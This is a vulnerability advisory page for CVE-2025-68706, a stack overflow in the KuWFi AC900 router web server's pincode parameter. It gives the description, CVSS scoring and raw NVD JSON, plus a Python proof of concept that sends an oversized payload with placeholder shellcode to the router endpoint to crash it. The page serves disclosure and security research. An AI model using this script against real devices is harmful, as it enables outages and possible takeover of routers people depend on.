Security Vulnerability Report
中文
CVE-2025-68706 CVSS 9.8 CRITICAL

CVE-2025-68706

Published: 2025-12-29 19:15:57
Last Modified: 2026-01-15 02:21:30

Description

A stack-based buffer overflow exists in the GoAhead-Webs HTTP daemon on KuWFi 4G LTE AC900 devices with firmware 1.0.13. The /goform/formMultiApnSetting handler uses sprintf() to copy the user-supplied pincode parameter into a fixed 132-byte stack buffer with no bounds checks. This allows an attacker to corrupt adjacent stack memory, crash the web server, and (under certain conditions) may enable arbitrary code execution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:kuwfi:ac900_firmware:1.0.13:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:kuwfi:ac900:-:*:*:*:*:*:*:* - NOT VULNERABLE
KuWFi 4G LTE AC900 固件 1.0.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-68706 PoC - Stack-based Buffer Overflow in KuWFi 4G LTE AC900 # Target: /goform/formMultiApnSetting endpoint # Vulnerability: sprintf() without bounds checking on pincode parameter target_ip = "192.168.1.1" # Replace with actual KuWFi device IP target_url = f"http://{target_ip}/goform/formMultiApnSetting" # Generate payload with 132+ bytes to overflow the stack buffer # The buffer size is 132 bytes, we need to overflow it buffer_size = 132 padding = b'A' * buffer_size # Overwrite return address with NOP sled + shellcode address (example) # In real exploitation, need to calculate correct offset return_address = b'\x00\x12\x34\x56' # Example address, needs adjustment nop_sled = b'\x90' * 50 # Simple shellcode for demonstration (reverse shell) shellcode = b'\x90' * 20 # Placeholder shellcode payload = padding + return_address + nop_sled + shellcode # Construct the malicious request data = { 'pincode': payload.decode('latin-1'), # Send overflow payload 'other_param': 'value' # Other required parameters } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload size: {len(payload)} bytes") response = requests.post(target_url, data=data, timeout=5) print(f"[*] Response status: {response.status_code}") print(f"[*] Response text: {response.text[:200]}") # Check if server is still responsive check_url = f"http://{target_ip}/" try: check_response = requests.get(check_url, timeout=5) print("[*] Server still responsive - exploitation may have failed") except: print("[!] Server appears to be down - possible successful exploitation") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68706", "sourceIdentifier": "[email protected]", "published": "2025-12-29T19:15:57.090", "lastModified": "2026-01-15T02:21:29.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow exists in the GoAhead-Webs HTTP daemon on KuWFi 4G LTE AC900 devices with firmware 1.0.13. The /goform/formMultiApnSetting handler uses sprintf() to copy the user-supplied pincode parameter into a fixed 132-byte stack buffer with no bounds checks. This allows an attacker to corrupt adjacent stack memory, crash the web server, and (under certain conditions) may enable arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:kuwfi:ac900_firmware:1.0.13:*:*:*:*:*:*:*", "matchCriteriaId": "B897FBEF-F259-4AAA-BC46-820ABD0D9605"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:kuwfi:ac900:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A90E0A0-E2D2-40F5-8219-8FE34A1324D9"}]}]}], "references": [{"url": "https://drive.proton.me/urls/HJCJYAC7JM#XtHcm3P7QaYk", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/actuator/cve/blob/main/Kuwfi/CVE-2025-68706.txt", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/actuator/cve/tree/main/Kuwfi", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://kuwfi.com/products/kuwfi-gigabit-wireless-router-4g-lte-wifi-router-dual-band-portable-wifi-modem-hotspot-64-user-with-gigabit-wan-lan-rj11-port", "source": "[email protected]", "tags": ["Product"]}]}}